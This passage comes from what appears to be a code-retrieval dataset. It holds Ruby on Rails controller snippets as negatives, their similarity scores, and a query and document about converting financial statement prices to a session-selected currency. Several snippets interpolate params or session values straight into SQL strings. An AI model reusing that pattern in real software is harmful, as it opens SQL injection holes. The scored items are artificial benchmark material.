true)\n end\n @bills_pending = search_pending.results rescue Bill.search { with :invoice_status_id, -1 }.results\n @bills_charged = search_charged.results rescue Bill.search { with :invoice_status_id, -1 }.results\n @client_payments_cash = search_cash.results rescue ClientPayment.search { with :payment_type, -1 }.results\n @client_payments_bank = search_bank.results rescue ClientPayment.search { with :payment_type, -1 }.results\n @instalment_invoices = search_instalment.results rescue InstalmentInvoice.search { with :client_id, -1 }.results\n @client_payments_others = search_others.results rescue ClientPayment.search { with :payment_type, -1 }.results\n end\n\n # Set active_tab to use in view filters\n params[:active_tab] = active_tab.blank? ? 'pendings-tab' : active_tab.chomp('!')\n\n # Initialize totals\n @pending_totals = { bills: @bills_pending.size, debts: @bills_pending.sum(&:debt) }\n @charged_totals = { bills: @bills_charged.size, totals: @bills_charged.sum(&:total) }\n @cash_totals = { payments: @client_payments_cash.size, totals: @client_payments_cash.sum(&:amount) }\n @bank_totals = { payments: @client_payments_bank.size, totals: @client_payments_bank.sum(&:amount) }\n @others_totals = { payments: @client_payments_others.size, totals: @client_payments_others.sum(&:amount) }\n @instalment_invoices_totals = { payments: @instalment_invoices.size, totals: @instalment_invoices.sum(&:amount) }\n\n # Instalments\n instalment_ids = @instalment_invoices.map(&:instalment_id).uniq\n @instalments = Instalment.with_these_ids(instalment_ids)\n @instalments_totals = { payments: @instalments.size, totals: @instalments.sum(&:amount) }\n plans_select = 'count(id) as plans'\n plan_ids = @instalments.map(&:instalment_plan_id).uniq\n @plans_totals = InstalmentPlan.where(id: plan_ids).select(plans_select).first\n @instalments = @instalments.paginate(:page => params[:instalments_page], :per_page => per_page || 10)\n\n # bills_select = 'count(bills.id) as bills, coalesce(sum(invoices.totals),0) as totals'\n # pending_bills_select = 'count(bills.id) as bills, coalesce(sum(invoice_current_debts.debt),0) as debts'\n # collections_select = 'count(id) as payments, coalesce(sum(amount),0) as totals'\n # plans_select = 'count(id) as plans'\n # payments_select = 'count(supplier_payments.id) as payments, coalesce(sum(supplier_payments.amount),0)*(-1) as totals'\n # others_select = 'count(cash_movements.id) as movements, coalesce(sum(cash_movements.amount),0) as totals'\n\n # pending_ids = @bills_pending.map(&:id)\n # charged_ids = @bills_charged.map(&:id)\n # cash_ids = @client_payments_cash.map(&:id)\n # bank_ids = @client_payments_bank.map(&:id)\n # others_ids = @client_payments_others.map(&:id)\n # instalment_invoices_ids = @instalment_invoices.map(&:id)\n # instalment_ids = @instalment_invoices.map(&:instalment_id).uniq\n\n # @pending_totals = Bill.select(pending_bills_select).joins(:invoice_current_debts).where(id: pending_ids).first\n # @charged_totals = Bill.select(bills_select).joins(:invoices).where(id: charged_ids).first\n # @cash_totals = ClientPayment.select(collections_select).where(id: cash_ids).first\n # @bank_totals = ClientPayment.select(collections_select).where(id: bank_ids).first\n # @others_totals = ClientPayment.select(collections_select).where(id: others_ids).first\n # @instalment_invoices_totals = InstalmentInvoice.select(collections_select).where(id: instalment_invoices_ids).first\n\n # @instalments = Instalment.with_these_ids(instalment_ids).paginate(:page => params[:page], :per_page => per_page || 10)\n # @instalments_totals = @instalments.select(collections_select).first\n # plan_ids = @instalments.map(&:instalment_plan_id).uniq\n # @plans_totals = InstalmentPlan.where(id: plan_ids).select(plans_select).first\n\n # Supplier payments\n payments_select = 'count(supplier_payments.id) as payments, coalesce(sum(supplier_payments.amount),0)*(-1) as totals'\n w = ''\n w = \"supplier_payments.organization_id = #{session[:organization]} AND \" if session[:organization] != '0'\n w = \"supplier_invoices.company_id = #{session[:company]} AND \" if session[:company] != '0'\n w = \"projects.office_id = #{session[:office]} AND \" if session[:office] != '0'\n w += \"((payment_methods.flow = 3 OR payment_methods.flow = 2) AND payment_methods.cashier = TRUE)\"\n @supplier_payments = SupplierPayment.no_cash_desk_closing_yet(w).select(payments_select).first\n\n # Other cash movements\n others_select = 'count(cash_movements.id) as movements, coalesce(sum(cash_movements.amount),0) as totals'\n w = ''\n w = \"cash_movements.organization_id = #{session[:organization]} AND \" if session[:organization] != '0'\n w = \"cash_movements.company_id = #{session[:company]} AND \" if session[:company] != '0'\n w = \"cash_movements.office_id = #{session[:office]} AND \" if session[:office] != '0'\n w += \"(payment_methods.cashier = TRUE)\"\n @other_cash = CashMovement.no_cash_desk_closing_yet(w).select(others_select).first\n\n # Open last cash desk closing\n @last_cash_desk_closing = open_cash\n @opening_balance = @last_cash_desk_closing.closing_balance rescue 0\n @closing_balance = @opening_balance + @cash_totals[:totals] + @supplier_payments.totals + @other_cash.totals\n\n # Currencies & instruments\n @currency = Currency.find_by_alphabetic_code('EUR')\n @currency_instruments = CurrencyInstrument.having_currency(@currency.id) rescue CurrencyInstrument.none\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: {bills_pending: @bills_pending, bills_charged: @bills_charged, client_payments_cash: @client_payments_cash, client_payments_bank: @client_payments_bank, client_payments_others: @client_payments_others, instalments: @instalments } }\n format.js\n end\n end", "def transaction_status\n params['status']\n end", "def index\n \n if params[:per_page].present?\n if params[:per_page] == \"All\"\n @per_page = 10000000000000000\n else\n @per_page = params[:per_page]\n end\n else\n @per_page = 40\n end\n\n logger.info \"----------------------------\"\n logger.info \"params:: #{params.inspect}\"\n logger.info \"----------------------------\"\n\n list_of_search_str = []\n list_of_search_str << SubsPayment.transaction_search(params[:trans]) unless params[:trans].blank?\n\n unless params[:status].blank?\n list_of_search_str << SubsPayment.status_search(params[:status])\n \n end\n\n\n list_of_search_str << SubsPayment.search_date(params[:start_date], params[:end_date]) if SubsPayment.search_date(params[:start_date], params[:end_date]) != \"\"\n search_str = list_of_search_str.join(\" AND \")\n\n\n logger.info \"----------------------------\"\n logger.info \"list_of_search_str:: #{list_of_search_str.inspect}\"\n logger.info \"----------------------------\"\n \n \n\n @subs_payments = SubsPayment.where(search_str).paginate(:page => params[:page], :per_page => @per_page).order('created_at desc')\n end", "def financial_statements_user_id(session_options)\n not_params_clear = !params[:clear]\n params_user_id, session_user_id = [params[:s_user_id], session_options.try(:[], :s_user_id)]\n\n if current_user.usertype == 'user'\n user_id = current_user_id\n elsif params_user_id && not_params_clear\n user_id = params_user_id || 'all'\n user_id = -1 if params[:s_user].present? && params_user_id.to_i == -2\n elsif session_options && session_user_id && not_params_clear\n user_id = session_user_id\n else\n user_id = nil\n end\n\n user_id\n end", "def set_additional_search_session_values\n unless @response.nil?\n search_session[:total] = @response.total\n end\n end", "def transaction_status\n params['status']\n end", "def index\n country_filter= CountryFilter.new(params[:country_iso], session[:country_filter])\n session[:country_filter]= @country= country_filter.country_iso\n\n @events = Event.visible.all(:order => 'date').select{ |ev|\n country_filter.select?(ev.country_id)\n }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def set_filter_options\n @sort_modes = Organization.sort_modes\n @view_modes = Organization.view_modes\n\n @current_sort_mode = if @sort_modes.keys.include?(params[:sort_by])\n params[:sort_by]\n else\n @sort_modes.keys.first\n end\n\n @current_view_mode = if @view_modes.keys.include?(params[:view])\n params[:view]\n else\n @view_modes.keys.first\n end\n\n @query = params[:query]\n end", "def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend", "def step1_status # Retrieve current sessions for the current user and list them:\n# DEBUG\n logger.debug( \"\\r\\n\\r\\n!! ------ #{self.class.name} -----\" )\n logger.debug( \"> #{params.inspect}\" )\n @existing_import_sessions = DataImportSession\n .where( user_id: current_admin.id )\n .where( \"phase >= 0\" )\n end", "def index\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n conditions = {:status_type => 0 ,:relation_id => 0 ,:count_type => 0 }\n conditions[:status_type] = params[:status_type] unless params[:status_type].blank?\n conditions[:relation_id] = params[:relation_id] unless params[:relation_id].blank?\n conditions[:count_type] = params[:count_type] unless params[:count_type].blank?\n @kf_statuses = Kf::Status.order(\"date DESC\").where(conditions).paginate(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_statuses }\n end\n end", "def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end", "def pipeline\n if params[:purchase_channel] && params[:status]\n @orders = Order.where([\"purchase_channel = ? AND status = ?\", params[:purchase_channel].downcase, params[:status].downcase])\n @orders = @orders.page(params[:page] || 1).per(params[:per_page] || 10)\n render json: @orders, status: :ok\n else\n render json: {error: \"bad parameters\"}, status: :bad_request\n return\n end\n end", "def filter_sessions(opts = {})\n data, _status_code, _headers = filter_sessions_with_http_info(opts)\n return data\n end", "def passed_status?(s, include_cancelled = false, respect_sequence = true)\n return false if in_status?(:cancelled) && !include_cancelled\n s = s.to_s if s.is_a?(Symbol)\n if respect_sequence\n offering_status = offering.statuses.find(:first, \n :joins => :application_status_type, \n :conditions => { \"application_status_types.name\" => s})\n return false if offering_status && status_sequence < offering_status.sequence\n end\n statuses.collect(&:name).include?(s)\n end", "def index\n @user = User.find_by_id(params[:user_id])\n unless @user.present?\n flash[:danger] = \"No User Found.\"\n redirect_to root_path\n else\n @payment_txns = @user.payment_txns.where('status in (?)', params[:status]).paginate(:page => params[:page], :per_page => 10)\n @status = params[:status]\n end\n end", "def index\n @condition = {}\n @condition[:orgnization] = current_user.orginization unless current_user.orgnization == User::ORGS[0]\n @condition[:status] = params[:status] if params[:status] and PasswordResetRequest::STATUS.include? params[:status]\n @password_reset_requests = PasswordResetRequest.where @condition\n end", "def set_additional_search_session_values\n unless @response.nil?\n search_session[:total] = @response.total\n end\n end", "def set_additional_search_session_values\n unless @response.nil?\n search_session[:total] = @response.total\n end\n end", "def index\n headers['Last-Modified'] = Time.now.httpdate\n session_id = nil\n\n if !params[:symbols].nil?\n syms = params[:symbols].split(\",\")\n # @stock_options = StockOption.where(symbol: syms)\n @stock_options = []\n\n login_response = AmeritradeHelper.login(params)\n puts \"*** login response #{login_response}\"\n unless login_response.nil?\n session_id = login_response[:session_id]\n login_date = login_response[:login_date]\n end\n\n if !session_id.nil?\n syms.each do |sym|\n # AmeritradeHelper.delete_stock_options(sym)\n new_stock_options = AmeritradeHelper.get_stock_option_symbol(sym, !params[:historic].nil?, params[:minDaysExp], params[:maxDaysExp])\n @stock_options = @stock_options + new_stock_options unless new_stock_options.nil? || !new_stock_options.length\n end\n else\n puts \"*** session id is nil\"\n end\n\n else\n @stock_options = StockOption.all\n end\n\n response = {\n :meta => {\n :session_id => session_id,\n :login_date => login_date\n },\n :data => {\n :stock_options => @stock_options\n }\n }\n\n respond_to do |format|\n format.html\n format.json { render json: response }\n end\n\n # @stock_options = StockOption.all\n end", "def index\n @per_page = params[:per_page] || User.per_page || 10\n\n if params[:e_status] == \"active\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |active_contacts| \n contact = Contact.find(active_contacts)\n contact.update_column(:e_status, 0) \n end\n end\n\n elsif params[:e_status] == \"inactive\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |inactive_contacts| \n contact = Contact.find(inactive_contacts)\n contact.update_column(:e_status, 1) \n end\n end\n\n elsif params[:e_status] == \"delete\"\n @per_page = params[:per_page] || Contact.per_page || 10\n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page])\n if !params[:contacts_ids].nil?\n params[:contacts_ids].each do |delete_contacts| \n contact = Contact.find(delete_contacts)\n if contact.destroy \n redirect_to contacts_path\n end\n end\n end\n \n elsif params[:v_contact_type].blank? && params[:last_name].blank? && params[:email].blank? && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n @contacts = Contact.where(\"first_name like ?\", \"%#{params[:first_name]}%\").paginate( :per_page => @per_page, :page => params[:page])\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email].blank? && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country].blank? && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags].blank? && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? \", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type].blank? && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type] == \"0\" ? \"0\" : \"1\" && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id].blank? && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ? and v_contact_type like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\", \"%#{params[:v_contact_type]}%\").paginate( :per_page => @per_page, :page => params[:page])\n\n elsif\n params[:v_contact_type] && params[:last_name] && params[:email] && params[:v_country] && params[:v_tags] && params[:i_reffered_source_id] && params[:first_name]\n\n @contacts = Contact.where(\"first_name like ? and last_name like ? and email like ? and v_country like ? and v_tags like ? and v_contact_type like ? and i_reffered_source_id like ?\", \"%#{params[:first_name]}%\", \"%#{params[:last_name]}%\", \"%#{params[:email]}%\", \"%#{params[:v_country]}%\", \"%#{params[:v_tags]}%\", \"%#{params[:v_contact_type]}%\", \"%#{params[:i_reffered_source_id]}%\").paginate( :per_page => @per_page, :page => params[:page])\n else \n @contacts = Contact.all.paginate( :per_page => @per_page, :page => params[:page]).order(sort_column + ' ' + sort_direction)\n end\n end", "def set_export_status\n pass_query_params\n id = params[:id].to_s\n type = params[:type].to_s\n value = params[:value].to_s\n model_class = type.camelize.safe_constantize\n if !reviewer?\n flash_error(:runtime_admin_only.t)\n redirect_back_or_default(\"/\")\n elsif !model_class ||\n !model_class.respond_to?(:column_names) ||\n !model_class.column_names.include?(\"ok_for_export\")\n flash_error(:runtime_invalid.t(type: '\"type\"', value: type))\n redirect_back_or_default(\"/\")\n elsif !value.match(/^[01]$/)\n flash_error(:runtime_invalid.t(type: '\"value\"', value: value))\n redirect_back_or_default(\"/\")\n elsif (obj = find_or_goto_index(model_class, id))\n obj.ok_for_export = (value == \"1\")\n obj.save_without_our_callbacks\n if params[:return]\n redirect_back_or_default(\"/\")\n else\n controller = params[:return_controller] || obj.show_controller\n action = params[:return_action] || obj.show_action\n redirect_with_query(controller: controller,\n action: action, id: id)\n end\n end\n end", "def index\n session[:ppage] = (params[:per_page].to_i rescue 25) if (params[:per_page] && (not params[:per_page.blank?] ) )\n @per_page = session[:ppage].to_s\n params[:ppage] = session[:ppage]\n\n if (params[:status].present? && CollectionPoint.collection_points_status.include?(params[:status].to_sym) )\n @active = params[:status].to_sym\n @collection_points = CollectionPoint.where(status: params[:status]).order(:name)\n else\n @collection_points = CollectionPoint.order(:name)\n @active = \"all\"\n end\n @collection_points = @collection_points.page(params[:page]).per(session[:ppage])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @collection_points }\n end\n end" ]
[ "0.67327684", "0.6095276", "0.6050061", "0.5843157", "0.57345873", "0.5653833", "0.5494783", "0.54440266", "0.536635", "0.5289625", "0.52812344", "0.5276167", "0.5262529", "0.52620155", "0.5231291", "0.5221503", "0.5203766", "0.5185905", "0.51485497", "0.51177555", "0.51042646", "0.5101649", "0.5098771", "0.50942767", "0.5083746", "0.50601816", "0.50496376", "0.50363487", "0.5031952", "0.5009376", "0.49942926", "0.4982563", "0.49819744", "0.49762645", "0.49709773", "0.49688154", "0.49686545", "0.4967985", "0.49379328", "0.49370968", "0.49358514", "0.492819", "0.4924162", "0.49232605", "0.4912682", "0.49027964", "0.4883922", "0.48794216", "0.48757112", "0.48660994", "0.48660994", "0.48649564", "0.48567358", "0.4855894", "0.48542082", "0.4853048", "0.4845934", "0.48413298", "0.48309046", "0.48214826", "0.48214653", "0.48150188", "0.48115936", "0.4794302", "0.47942814", "0.47918195", "0.47898036", "0.47885913", "0.47884423", "0.47795385", "0.4778375", "0.47761858", "0.47752047", "0.47676042", "0.47608882", "0.4758041", "0.47578952", "0.4757549", "0.47520652", "0.47517973", "0.47488934", "0.4740487", "0.47392154", "0.4738567", "0.47373626", "0.47324914", "0.4731833", "0.47229084", "0.4722037", "0.47207922", "0.47133884", "0.47126642", "0.47085395", "0.47034764", "0.4694467", "0.4694467", "0.46927217", "0.46907732", "0.46900022", "0.4687058" ]
0.803171
0
=begin convert prices in statements from default system currency to currency that is set in session Params +statement+ iterable of financial stement data(they rices should be in system currency) Returns +statement+ same object that was passed only it's prices recalculated in user selected currency =end
def convert_to_user_currency(statements) exchange_rate = Currency.count_exchange_rate(session[:default_currency], session[:show_currency]) statements.each { |statement| statement.price = statement.price.to_d * exchange_rate statement.price_with_vat = statement.price_with_vat.to_d * exchange_rate } statements end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def currency_conversion(price = 0.0)\n exchange = 6.98\n price * exchange\nend", "def convert_curr\n curr = {\"USD\" => 1.0, \"CAN\" => 1.9, \"CHF\" => 0.91, \"EUR\" => 0.74, \"HKD\" => 7.75}\n curr.each do |key, value|\n if key == @currency\n @con = @price * value\n end\n end\n end", "def with_currency(new_currency); end", "def currency; end", "def currency; end", "def convert_to(target_currency)\n make_call(currencies(target_currency))\n end", "def *(currency_object)\n if @currency_symb == currency_object.currency_symb\n Currency.new(@amount *currency_object.amount)\n elsif\n @currency_symb == currency_object.currency_symb\n Currency.new(@amount *currency_object.amount)\n else\n raise UnknownCurrencyCodeError\n end\n end", "def collection_currency\n card_prices = []\n current_user.cards.each do |card|\n price = remove_dot(card.usd_price)\n card_prices << Money.new(price) * card.quantity \n end\n # call `format`\n card_prices.inject(:+) \n end", "def curr\n Currency.where('client_id = ? and default_currency = ?', current_user.client_id, \"t\").first.try(:currency_symbol)\n end", "def currency_conversions(price = 0.0)\n convert_dollars = price * EXCHANGE_DOLLARS\n convert_euros = price * EXCHANGE_EUROS\n return convert_dollars, convert_euros\nend", "def quote(params)\n\n result = {\n search_id: search_id = params[:search_id],\n pay_amount: pay_amount = Monetize.parse(params[:pay_amount]).amount,\n pay_currency: pay_currency = params[:pay_currency],\n get_amount: get_amount = Monetize.parse(params[:get_amount]).amount,\n get_currency: get_currency = params[:get_currency],\n trans: trans = params[:trans],\n calculated: calculated = params[:calculated],\n rates: {},\n bad_rates: {},\n quote: nil,\n quote_currency: nil,\n edited_quote: nil,\n edited_quote_rounded: nil,\n bad_amount: nil,\n gain: 0,\n gain_amount: gain_amount = 0,\n gain_currency: gain_currency = nil,\n real_rates: has_real_rates?,\n rounded: false,\n pay_rounded: params[:pay_amount].to_money(pay_currency).format,\n get_rounded: params[:get_amount].to_money(get_currency).format,\n base_rate: nil,\n errors: []\n }\n\n if currency.nil?\n result[:errors] << 'No local currency defined for that exchange'\n return result\n end\n if pay_currency == get_currency\n result[:errors] << 'Please select two different currencies'\n return result\n end\n if !self.country\n result[:errors] << 'Exchange has no country'\n return result\n else\n country = self.country\n end\n\n if calculated == 'buy_amount'\n\n rates = result[:rates] = rate(get_currency, pay_currency, trans, pay_currency, search_id)\n\n if rates[:error]\n result[:errors] << rates[:error]\n return result\n end\n\n if rates[trans.to_sym] == 0\n result[:errors] << trans + \" rate needed but empty - cannot quote\"\n return result\n end\n\n # quote: net of charges. get_amount: including charges.\n result[:quote] = pay_amount * rates[trans.to_sym]\n result[:edited_quote] = result[:edited_quote_rounded] = result[:quote].to_money(get_currency).format\n result[:quote_currency] = get_currency\n\n get_amount = result[:quote]\n result[:get_amount] = result[:get_rounded] = get_amount.to_money(get_currency).format\n\n bad_rates = result[:bad_rates] = Exchange.bad_rate(country,get_currency, pay_currency, trans, pay_currency, search_id)\n bank_fee = bad_rates[:bank_fee] || 0\n bad_amount_before_fees = (pay_amount * (bad_rates[trans.to_sym] || 0))\n bad_amount = bad_amount_before_fees * (100 - bank_fee) / 100.0\n\n result[:bad_amount] = bad_amount.to_money(get_currency).format\n result[:gain] = bad_amount != 0 ? result[:quote] - bad_amount : result[:quote] # the latter is to enable just grade sorting when bad rate isn't there\n result[:gain_amount] = result[:gain].to_money(get_currency).format\n result[:gain_type] = result[:gain] < 0 ? 'your gain' : 'your gain'\n result[:gain_short] = result[:gain] < 0 ? 'gain' : 'gain'\n result[:gain_currency] = get_currency\n\n result[:pay_amount] = pay_amount.to_money(pay_currency).format\n\n if get_currency != currency and (get_subtract = get_amount.modulo(1)) > 0\n result[:rounded] = true\n pay_subtract = get_subtract / rates[trans.to_sym]\n result[:pay_rounded] = (pay_amount - pay_subtract).to_money(pay_currency).format\n result[:get_rounded] = (get_amount - get_subtract).to_money(get_currency).format\n result[:edited_quote_rounded] = result[:get_rounded]\n end\n\n result[:base_rate] = Exchange.edit_base_rate(rates, trans)\n\n else\n\n rates = result[:rates] = rate(pay_currency, get_currency, trans, pay_currency, search_id)\n if rates[:error]\n result[:errors] << rates[:error]\n return result\n end\n if rates[trans.to_sym] == 0\n result[:errors] << trans + \" rate needed but empty - cannot quote\"\n return result\n end\n\n # quote: net of charges. pay_amount: including charges.\n result[:quote] = get_amount * rates[trans.to_sym]\n result[:edited_quote] = result[:edited_quote_rounded] = result[:quote].to_money(pay_currency).format\n result[:quote_currency] = pay_currency\n\n pay_amount = result[:quote]\n result[:pay_amount] = result[:pay_rounded] = pay_amount.to_money(pay_currency).format\n\n bad_rates = result[:bad_rates] = Exchange.bad_rate(country, pay_currency, get_currency, trans, pay_currency, search_id)\n bank_fee = bad_rates[:bank_fee] || 0\n bad_amount_before_fees = (get_amount * (bad_rates[trans.to_sym] || 0))\n bad_amount = bad_amount_before_fees * (100 + bank_fee) / 100.0\n result[:bad_amount] = bad_amount.to_money(pay_currency).format\n result[:gain] = bad_amount != 0 ? bad_amount - result[:quote] : result[:quote] * -1 # the latter is to enable just grade sorting when bad rate isn't there\n result[:gain_amount] = result[:gain].to_money(pay_currency).format\n\n result[:gain_currency] = pay_currency\n result[:gain_type] = result[:gain] < 0 ? 'you save' : 'you save'\n result[:gain_short] = result[:gain] < 0 ? 'save' : 'save'\n result[:get_amount] = get_amount.to_money(get_currency).format\n\n if get_currency == currency and pay_currency != currency and (pay_subtract = pay_amount.modulo(1)) > 0\n result[:rounded] = true\n get_subtract = pay_subtract / rates[trans.to_sym]\n result[:get_rounded] = (get_amount - get_subtract).to_money(get_currency).format\n result[:pay_rounded] = (pay_amount - pay_subtract).to_money(pay_currency).format\n result[:edited_quote_rounded] = result[:pay_rounded]\n end\n\n result[:base_rate] = Exchange.edit_base_rate(rates, trans)\n\n end\n\n return result\n\n end", "def run_on_prices(currencies = nil, &block)\n if currencies.present? && currencies.any?\n prices_with_currencies = prices.select { |p| currencies.include?(p.currency) }\n prices_with_currencies.each { |p| block.call p }\n else\n prices.each { |p| block.call p }\n end\n end", "def in (currency)\n self * (1/@@currencies[nomalizeCurrency currency])\n end", "def in(arg)\n \t\tconcurrency = arg.to_s.gsub( /s$/, '')\n \t\t(concurrency.to_s == \"dollar\")?self.send(arg.to_s):self/@@currencies[concurrency]\n \tend", "def bank\n unless @bank\n @bank = Money::Bank::VariableExchange.new\n base_cents = price_currency == 'JPY' ? (price_cents.to_f * 100) : price_cents.to_f\n unless alt1_price_currency.blank?\n alt1_cents = alt1_price_currency == 'JPY' ? (alt1_price_cents.to_f * 100) : alt1_price_cents.to_f\n @bank.add_rate(price_currency, alt1_price_currency, alt1_cents / base_cents)\n @bank.add_rate(alt1_price_currency, price_currency, base_cents / alt1_cents)\n end\n unless alt2_price_currency.blank?\n alt2_cents = alt2_price_currency == 'JPY' ? (alt2_price_cents.to_f * 100) : alt2_price_cents.to_f\n @bank.add_rate(price_currency, alt2_price_currency, alt2_cents / base_cents)\n @bank.add_rate(alt2_price_currency, price_currency, base_cents / alt2_cents)\n end\n if !alt1_price_currency.blank? && !alt2_price_currency.blank?\n @bank.add_rate(alt1_price_currency, alt2_price_currency, alt2_cents / alt1_cents)\n @bank.add_rate(alt2_price_currency, alt1_price_currency, alt1_cents / alt2_cents)\n end\n end\n @bank\n end", "def get_Currency()\n \t return @outputs[\"Currency\"]\n \tend", "def run_on_prices(currencies = nil, &block)\n if currencies.present? && currencies.any?\n prices_with_currencies = prices.select { |price| currencies.include?(price.currency) }\n prices_with_currencies.each { |price| block.call(price) }\n else\n prices.each { |price| block.call(price) }\n end\n touch\n end", "def get_rate(currency_iso_from, currency_iso_to); end", "def update_rates\n currencies(true).each_pair do |currency, data|\n rate = data[:middle_rate_for_commercial_transactions]\n add_rate(\"EUR\", currency, rate) if known_currencies.include?(currency)\n end\n rates\n end", "def in(currency)\n self * (1 / @@currencies[currency.to_s.gsub(/s$/, \"\")])\n end", "def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end", "def convert_to_currency(target_currency, date = Date.today)\n return moneys.inject(Money.zero(target_currency)) do |sum, (_, money)|\n sum + money.convert_to_currency(target_currency, date)\n end\n end", "def from_dollars(currency_code, amount)\n curr = RATES.fetch(currency_code)\n total = amount / curr\n return total.round(2)\nend", "def convert_to(new_currency)\n\n # if the instance is already in the requested currency\n if @currency == new_currency\n\n #returns itself without conversions\n return self\n\n # if the current currency is different from the base currency used for conversions\n # and also the new currency is different from the base one\n elsif @currency != @@base_currency && new_currency != @@base_currency\n\n # amount is divided by the rate of the current currency in order to convert it to the base currency\n # then is multiplied by the rate of the new currency\n amount = (@amount_bigdecimal/(BigDecimal(@@rates[@currency],0))) * (BigDecimal(@@rates[new_currency],0))\n\n # current currency is different from the base currency but new currency equals the base currency\n elsif @currency != @@base_currency && new_currency == @@base_currency\n\n # amount is divided by the rate of the current currency in order to convert it to the base currency\n amount = (@amount_bigdecimal / 